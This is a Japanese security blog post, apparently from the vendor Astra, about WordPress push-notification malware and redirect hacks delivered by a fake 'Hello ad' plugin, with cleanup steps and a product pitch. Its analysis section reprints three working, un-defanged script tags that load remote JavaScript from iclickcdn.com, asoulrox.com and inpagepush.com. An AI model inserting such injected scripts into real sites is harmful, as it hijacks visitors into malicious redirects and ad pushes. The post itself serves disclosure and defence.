WordPressのプッシュ通知マルウェアとリダイレクトハッキングへの対処方法

ここ数週間、セキュリティ企業Astraの調査チームは、WordPressサイトで発生しているプッシュ通知型マルウェアを追跡しています。この攻撃キャンペーンは、WordPressサイトで継続的に発生しているリダイレクト（不正転送）キャンペーンと組み合わされて実行されています。

リダイレクト先として確認されている悪意のあるドメインには、inpagepush[.]com、asoulrox[.]com、iclickcdn[.]com、justcannabis[.]online、0.realhelpcompany[.]ga、fast.helpmart[.]ga/m[.]js?w=085 などがあります。

今回、ハッカーはさらに一歩進んだ手口を使っています。感染したWordPressサイトに、正規のプラグインに見せかけた「Hello ad」というプラグインをインストールすることで、攻撃をより巧妙化させているのです。詳細は後述します。

関連ガイド：WordPressハッキング完全除去ガイド

WordPressにおけるプッシュ通知マルウェアの主な症状

1. 不適切なプッシュ通知の表示： サイト訪問者に対して、悪質・不適切な内容のプッシュ通知が表示されます。
   
   
   
   
2. 不正なリダイレクト： サイト内のリンクをクリックすると、本来なら自サイト内のページに移動するはずが、悪意のある外部ページへ強制的に転送されます。
   
   
   
   リダイレクト先としては、inpagepush[.]com、asoulrox[.]com、iclickcdn[.]com などのURLが確認されています。
   
   
3. 見覚えのないプラグインの存在： 一部のケースでは、「Hello ad」という名前の新規プラグインが不正にWordPressへ追加されていることが確認されています。
   
   
4. デバイス依存の挙動： このマルウェアは非常に巧妙に自身を隠します。常にプッシュ通知を送信したりユーザーをリダイレクトしたりするわけではなく、挙動はデバイスによって異なります。
   
   
   
   モバイル端末でのみプッシュ通知を表示するケースもあれば、過去にサイトを訪問したことのあるユーザーではなく、初回訪問者のみをリダイレクトするケースも確認されています。

悪意ある「Hello ad」プラグインの正体

これらの感染サイトでは、「Hello ad」というプラグインが追加され、ユーザーをハッカーが管理するサイトへリダイレクトさせるために利用されています。

この正規プラグインに見せかけたプラグインは、ページのソースコードに以下のような悪意のあるJavaScriptコードを挿入します。

<script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://iclickcdn.com/tag.min.js',3336627,document.body||document.documentElement)</script>
<script src="https://asoulrox.com/pfe/current/tag.min.js?z=3336643" data-cfasync="false" async></script>
<script type="text/javascript" src="//inpagepush.com/400/3336649" data-cfasync="false" async="async"></script>

このプラグインによって挿入されたコードは、リダイレクトを実行する上で重要な役割を果たしています。ただし、ハッカーはキャンペーンごとにコードを難読化し、手法を進化させ続けている点には注意が必要です。

プッシュ通知マルウェア・Hello ad・リダイレクトハッキングの修正方法

1. まず怪しい箇所をチェックする： ハッカーには、ウイルスやマルウェアのコードを挿入しやすい「お気に入りの場所」があります。修復作業を始める際は、まず以下のファイルから確認することをおすすめします。
   • index.php
   • wp-content/themes/{テーマ名}/functions.php
   • wp-config.php
   • テーマのコアファイル
   • .htaccess
   
   
2. Hello adプラグインを見つけて削除する： 「自分や開発者が以前インストールしたかもしれない」と思えるような、いかにも正規っぽいプラグインが見つかった場合は、それは誤解です。速やかにアンインストールしてください。
   
   関連ガイド：WordPressマルウェア除去
   
3. リダイレクトの解除： WordPressへのリダイレクト攻撃は、すでに数か月にわたって発生しています。悪意のあるリダイレクトハッキングを解消するには、データベースのテーブル、テーマのコアファイル、場合によってはサーバーの設定ファイルまで確認する必要があります。不明なURLから読み込まれているスクリプトやリソースがないか探しましょう。
   
   リダイレクト型マルウェアは非常に蔓延しているため、Astraではリダイレクトハッキングの修正手順を詳しく解説したステップバイステップの動画も公開しています。ハッカーはセキュリティ企業のレーダーに引っかからないよう手法を更新し続けていますが、根本的な対処原理は変わりません。

ハッカーは常に手法を進化させており、世の中に知られていない脆弱性を悪用したり、複数のエクスプロイトを組み合わせて攻撃を仕掛けたりしています。ハッキングを取り除くことは対策の一部にすぎません。二度と被害に遭わないためには、Astraのセキュリティスイートのような、より恒久的な防御策の導入が不可欠です。